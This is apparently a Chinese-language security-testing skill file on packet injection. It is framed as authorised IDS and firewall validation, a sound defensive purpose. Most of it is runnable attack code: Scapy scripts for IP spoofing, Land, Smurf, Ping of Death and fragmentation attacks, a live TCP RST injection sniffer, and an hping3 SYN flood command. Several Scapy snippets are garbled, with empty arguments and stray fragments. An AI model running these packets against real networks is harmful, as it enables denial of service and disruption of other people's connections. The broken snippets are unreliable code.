| name | performing-packet-injection-attack |
| description | 在授权安全评估中使用 Scapy、hping3 和 Nemesis 构造并注入自定义网络数据包, 测试防火墙规则、IDS 检测、协议处理能力以及网络协议栈对畸形和伪造流量的抵御能力。
|
| domain | cybersecurity |
| subdomain | network-security |
| tags | ["network-security","packet-injection","scapy","hping3","protocol-testing"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
执行数据包注入攻击
适用场景
- 通过注入应触发特定检测签名的流量来测试 IDS/IPS 规则
- 通过构造具有特定标志位、源地址和载荷的数据包来验证防火墙规则
- 评估网络协议栈对畸形数据包、分片攻击和协议违规的抵御能力
- 模拟伪造流量以测试反欺骗控制(BCP38、uRPF)
- 执行 TCP 重置注入(RST Injection),测试连接弹性和会话劫持场景
不要用于针对生产系统的拒绝服务攻击、伪造流量以陷害第三方,或在未获明确授权的目标网络上使用。
前置条件
- 明确指定目标范围和批准技术的书面授权
- 测试平台已安装 Scapy、hping3 和 Nemesis
- 用于原始套接字访问和数据包构造的 root/sudo 权限
- 目标端安装了 Wireshark 或 tcpdump 以验证数据包送达
- 了解 TCP/IP 协议内部结构、头部字段和标志位组合
工作流程
步骤 1:使用 Scapy 构造并发送基本测试数据包
"""使用 Scapy 进行授权测试的基本数据包注入示例。"""
from scapy.all import *
syn = IP(dst="10.10.20.10") / TCP(dport=80, flags="S", seq=1000)
response = sr1(syn, timeout=2, verbose=0)
if response and response.haslayer(TCP):
if response[TCP].flags == "SA":
print(f"[*] 80 端口开放(收到 SYN-ACK)")
elif response[TCP].flags == "RA":
print(f"[*] 80 端口关闭(收到 RST-ACK)")
xmas = IP(dst="10.10.20.10") / TCP(dport=80, flags="FPU")
send(xmas, verbose=0)
print("[*] XMAS 数据包已发送(应触发 IDS)")
null = IP(dst="10.10.20.10") / TCP(dport=80, flags="")
send(null, verbose=0)
print("[*] NULL 数据包已发送")
icmp_custom = IP(dst="10.10.20.10") / ICMP(type=8) / Raw(load="SECURITY_TEST_PAYLOAD")
send(icmp_custom, verbose=0)
print("[*] 自定义 ICMP 数据包已发送")
udp_test = IP(dst="10.10.20.10") / UDP(dport=53) / DNS(rd=, qd=DNSQR(qname=))
response = sr1(udp_test, timeout=, verbose=)
response:
()
步骤 2:IP 欺骗和反欺骗验证
"""使用伪造源 IP 数据包测试反欺骗控制。"""
from scapy.all import *
spoofed_syn = IP(src="192.0.2.100", dst="10.10.20.10") / TCP(dport=80, flags="S")
send(spoofed_syn, verbose=0)
print("[*] 已发送源地址伪造为 192.0.2.100 的 SYN 包")
land = IP(src="10.10.20.10", dst="10.10.20.10") / TCP(sport=80, dport=80, flags="S")
send(land, verbose=0)
print("[*] Land 攻击数据包已发送(src==dst)")
smurf = IP(src="10.10.20.10", dst="10.10.20.255") / ICMP(type=8)
send(smurf, verbose=0)
print("[*] Smurf 测试数据包已发送(ICMP 广播包)")
frag1 = IP(dst="10.10.20.10", flags="MF", frag=0) / TCP(dport=80, flags="S") / Raw(load="A"*24)
frag2 = IP(dst="10.10.20.10", frag=2) / Raw(load="B"*24)
send(frag1, verbose=0)
send(frag2, verbose=0)
print("[*] 重叠 IP 分片已发送")
步骤 3:TCP 会话操控
sudo hping3 -S -p 80 --rst -c 5 10.10.20.10
sudo hping3 -S --flood -V -p 80 -c 100 10.10.20.10
sudo hping3 -S -p 80 -w 0 -c 5 10.10.20.10
sudo hping3 -S -p 80 -w 65535 -c 5 10.10.20.10
sudo hping3 -SA -p 80 -c 3 10.10.20.10
"""TCP RST 注入,测试会话弹性。"""
from scapy.all import *
def rst_inject(pkt):
if pkt.haslayer(TCP) and pkt[TCP].flags == "A":
rst = IP(
src=pkt[IP].dst,
dst=pkt[IP].src
) / TCP(
sport=pkt[TCP].dport,
dport=pkt[TCP].sport,
seq=pkt[TCP].ack,
flags="R"
)
send(rst, verbose=0)
print(f"[*] RST 已注入:{pkt[IP].src}:{pkt[TCP].sport} -> {pkt[IP].dst}:{pkt[TCP].dport}")
print("[*] 正在监听 TCP ACK 数据包以注入 RST...")
sniff(filter="tcp and host 10.10.20.10", prn=rst_inject, count=10, iface="eth0")
步骤 4:协议异常测试
"""用于 IDS/防火墙测试的协议异常数据包。"""
from scapy.all import *
target = "10.10.20.10"
pod = IP(dst=target) / ICMP() / Raw(load="X" * 65500)
send(fragment(pod), verbose=0)
print("[*] 死亡之 Ping 分片已发送")
tiny_frag = IP(dst=target, flags="MF", frag=0) / Raw(load=bytes(TCP(dport=80, flags="S"))[:8])
tiny_frag2 = IP(dst=target, frag=1) / Raw(load=bytes(TCP(dport=80, flags="S"))[8:])
send(tiny_frag, verbose=0)
send(tiny_frag2, verbose=0)
print("[*] 微型分片攻击数据包已发送")
invalid_flags = [
("SYN+FIN", "SF"),
("SYN+RST", "SR"),
("仅 FIN(无会话)", "F"),
("所有标志位", "FSRPAUEC"),
]
for name, flags in invalid_flags:
pkt = IP(dst=target) / TCP(dport=80, flags=flags)
send(pkt, verbose=0)
print(f"[*] 已发送无效标志位数据包:{name}")
ttl_evade = IP(dst=target, ttl=3) / TCP(dport=80, flags=)
send(ttl_evade, verbose=)
()
ip_opts = IP(dst=target, options=[IPOption_RR()]) / TCP(dport=, flags=)
send(ip_opts, verbose=)
()
步骤 5:验证 IDS 检测
grep -i "xmas\|null\|land\|smurf\|ping.of.death\|fragment" /var/log/suricata/eve.json | \
python3 -m json.tool | head -50
sudo iptables -L -n -v | grep -i drop
dmesg | grep -i "fragment\|frag"
步骤 6:记录结果
cat > packet_injection_report.txt << 'EOF'
数据包注入测试结果
==================
日期:$(date)
目标:10.10.20.10
测试人员:安全评估团队
测试 1:TCP XMAS 扫描
IDS 检测:是(Suricata SID 2100330)
防火墙动作:丢弃
测试 2:IP 欺骗(192.0.2.100)
uRPF 拦截:是(边界路由器丢包)
IDS 检测:是(源地址不在 HOME_NET 内)
测试 3:分片重叠
IDS 检测:是(流重组异常)
目标响应:操作系统丢弃分片
测试 4:无效 TCP 标志位
IDS 检测:是(SYN+FIN、SYN+RST 被标记)
防火墙动作:丢弃
EOF
核心概念
| 术语 | 定义 |
|---|
| 数据包注入(Packet Injection) | 构造并发送具有特定头部值、载荷或标志位组合的网络数据包,以测试网络安全控制 |
| IP 欺骗(IP Spoofing) | 在构造数据包中设置虚假源 IP,测试反欺骗控制(BCP38、uRPF)或冒充其他主机 |
| TCP RST 注入(TCP RST Injection) | 发送伪造的 TCP RST 数据包以终止已建立的连接,测试会话弹性和连接重置防御 |
| 分片攻击(Fragmentation Attack) | 利用 IP 分片将恶意载荷拆分到多个分片中,规避不重组分片的数据包检测 |
| uRPF(单播反向路径转发) | 路由器级别的反欺骗机制,若源 IP 无法通过入口接口路由返回则丢弃数据包 |
| BCP38(网络入口过滤) | 通过过滤来自不属于该网络的源地址数据包来防止边界 IP 欺骗的最佳实践 |
工具与系统
- Scapy:Python 数据包操控库,可对所有协议头部进行完全控制的任意网络数据包构造
- hping3:命令行数据包生成器,支持 TCP、UDP、ICMP,可控制标志位、TTL、窗口大小和数据包速率
- Nemesis:网络数据包注入工具,支持 Ethernet、ARP、IP、TCP、UDP、ICMP、DNS 等协议
- tcpreplay:以受控速率重放捕获 PCAP 文件的工具,用于针对已知流量模式测试 IDS 规则
- Nping:Nmap 的数据包生成工具,可构造带任意 TCP/UDP/ICMP 头部的探测包
常见场景
场景:部署后验证 IDS 规则
背景:SOC 团队部署了用于检测侦察和规避技术的新 Suricata 规则,需要在正式上线前验证规则是否正确触发。测试在复制生产环境的暂存环境中进行。
方法:
- 使用 Scapy 构造 XMAS、NULL 和 FIN 扫描数据包并发送到测试目标,验证扫描检测规则
- 生成带无效 TCP 标志位组合(SYN+FIN、SYN+RST)的数据包,测试协议异常规则
- 发送超大 ICMP 数据包和分片载荷,测试分片检测规则
- 注入带伪造源 IP 的数据包,验证反欺骗规则是否正确触发
- 在活跃 HTTP 会话期间发送 TCP RST 注入数据包,测试会话中断检测
- 验证所有预期的 Suricata 告警是否以正确的严重级别和元数据出现在 EVE JSON 日志中
- 记录哪些规则触发、哪些未触发,并建议针对任何差距进行规则调优
注意事项:
- 注入速度过快,压垮测试网络或 IDS 传感器
- 数据包校验和计算错误,导致数据包在到达 IDS 前被静默丢弃
- 未考虑有状态防火墙会在数据包到达 IDS 检测之前丢弃非法状态数据包
- 从 NAT 后方测试导致源端口被修改,破坏构造的 TCP 序号
输出格式
## 数据包注入测试报告
**目标**:10.10.20.10(test-server-01)
**IDS 传感器**:suricata-staging-01
**测试日期**:2024-03-15
### 测试矩阵
| 测试 | 数据包类型 | 预期检测 | 实际结果 |
|------|-----------|---------|---------|
| 1 | TCP XMAS 扫描 | SID 2100330 | 已检测 |
| 2 | TCP NULL 扫描 | SID 2100331 | 已检测 |
| 3 | SYN+FIN 无效标志 | SID 2100332 | 已检测 |
| 4 | IP 伪造源 | SID 2003000 | 已检测 |
| 5 | Land 攻击 | SID 2100333 | 未检测 |
| 6 | 分片重叠 | SID 2200001 | 已检测 |
| 7 | 死亡之 Ping | SID 2100334 | 已检测 |
| 8 | TCP RST 注入 | 自定义 SID | 未检测 |
### 检测率:6/8(75%)
### 已识别的差距
1. Land 攻击(src==dst)未被检测 — 添加规则 SID 2100333
2. TCP RST 注入未被检测 — 为窗口外 RST 创建自定义规则